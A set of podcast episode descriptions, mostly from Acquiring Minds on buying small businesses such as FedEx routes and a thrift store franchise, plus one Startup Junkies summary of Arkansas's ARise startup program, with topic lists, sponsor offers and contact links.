Register for the webinar:The "Plant Your Flag" Strategy: Build an Empire with ETA + Franchising - Thu Aug 7 - https://bit.ly/45i7eGeAvery Tomek bought his first little $1m FedEx route with an SBA loan. 3 years later, he has 240 trucks and $600k weeks.Topics in Avery's interview:Pivoting from real estate to FedEx routesUps and downs of CovidExpanding his fleetRunning his logistics business remotelyEverything hinges on weekly depositsWhat makes a route lucrative (or costly)No marketing or sales. Just operations.Resale value of a FedEx routeDemanding nature of the business“If you're good, the world will compensate you.”References and how to contact Avery:LinkedInWork with an SBA loan team focused exclusively on helping entrepreneurs buy businesses:Pioneer Capital AdvisoryGet a complimentary IT audit of your target business:Email Nick Akers at nick@inzotechnologies.com, and tell him you're a searcherDownload the New CEO's Guide to Human Resources from Aspen HR:From this page or contact mark@aspenhr.comConnect with Acquiring Minds:See past + future interviews on the YouTube channelConnect with host Will Smith on LinkedInFollow Will on TwitterEdited by Anton RohozovProduced by Pam Cameron

SummaryIn this week's episode of Startup Junkies, program director of ARise, Kris Adams, joins hosts Daniel Koonce, Caleb Talley, and Jeff Amerine to shine a spotlight on the ARise program—a dynamic support system for tech and tech-enabled startups in Arkansas. ARise, short for Arkansas Innovators, Startups, and Entrepreneurs, delivers a unique approach by offering long-term support beyond the standard accelerator window, ensuring startups always have access to resources.Kris shares how ARise is designed to be accessible for companies at any stage, from high school students tinkering with ideas to serial entrepreneurs developing scalable ventures. The program offers one-on-one coaching, access to capital, navigation through state and federal incentives, and connections with a vast network of subject matter experts. These experts cover everything from legal and marketing to deep tech specialties like AI, biotech, and cybersecurity.What sets ARise apart is its flexibility; the program is industry-agnostic and can support everything from advanced manufacturing to SaaS startups and even tech-infused, e-commerce companies. For those unsure if they qualify, the ARise team is just an onboarding call away to help walk through the fit. Kris also details ARise's commitment to growing the Arkansas entrepreneurial ecosystem, with plans for increasing program reach, gathering critical data, and fostering innovation statewide. If you're a tech entrepreneur, no matter your age or stage, ARise is ready to help you scale your vision for free!Show Notes(00:00) Introduction(06:05) ARise's Coaching and Capital Access Resources(10:40) Scaling Challenges for Tech Companies(16:17) Trends in Marketing, Legal, and Capital(19:54) Arkansas's Capital Scan Initiative(22:21) AI-Assisted Business Insights(26:29) Closing ThoughtsLinksDaniel KoonceCaleb TalleyJeff AmerineStartup JunkieStartup Junkie YouTubeKris AdamsARise

Smithlist is a job board for leadership roles at small businesses. If you're not ready to buy a business but want to lead one:Smithlist - Operate & Lead a BusinessTyler & Zach Gordon's search for an overlooked industry with good prospects led to a franchise system of thrift stores.Topics in Tyler & Zach's interview:Zach and Tyler's backgrounds in franchisingLooking for career fulfillmentFormulating a search strategyFocusing on overlooked industriesDiscovering thrift store franchisingEvaluating franchise opportunitiesTransitioning from franchisee to franchisorStructuring the acquisition and partnershipFocusing their marketing on vendorsPrioritizing franchisee success and future growthReferences and how to contact Tyler & Zach:Tyler's LinkedInZach's LinkedInHorizon Point Capitaltyler@bcfranchise.comzach@bcfranchise.com Uptown Cheapskate FranchiseKid to Kid FranchiseBuy a Franchise Portfolio: How to Choose a BrandDownload the New CEO's Guide to Human Resources from Aspen HR:From this page or contact mark@aspenhr.comGet a free review of your books & financial ops from System Six (a $500 value):Book a call with Tim or hello@systemsix.com and mention Acquiring MindsGet a complimentary IT audit of your target business:Email Nick Akers at nick@inzotechnologies.com, and tell him you're a searcherConnect with Acquiring Minds:See past + future interviews on the YouTube channelConnect with host Will Smith on LinkedInFollow Will on TwitterEdited by Anton RohozovProduced by Pam Cameron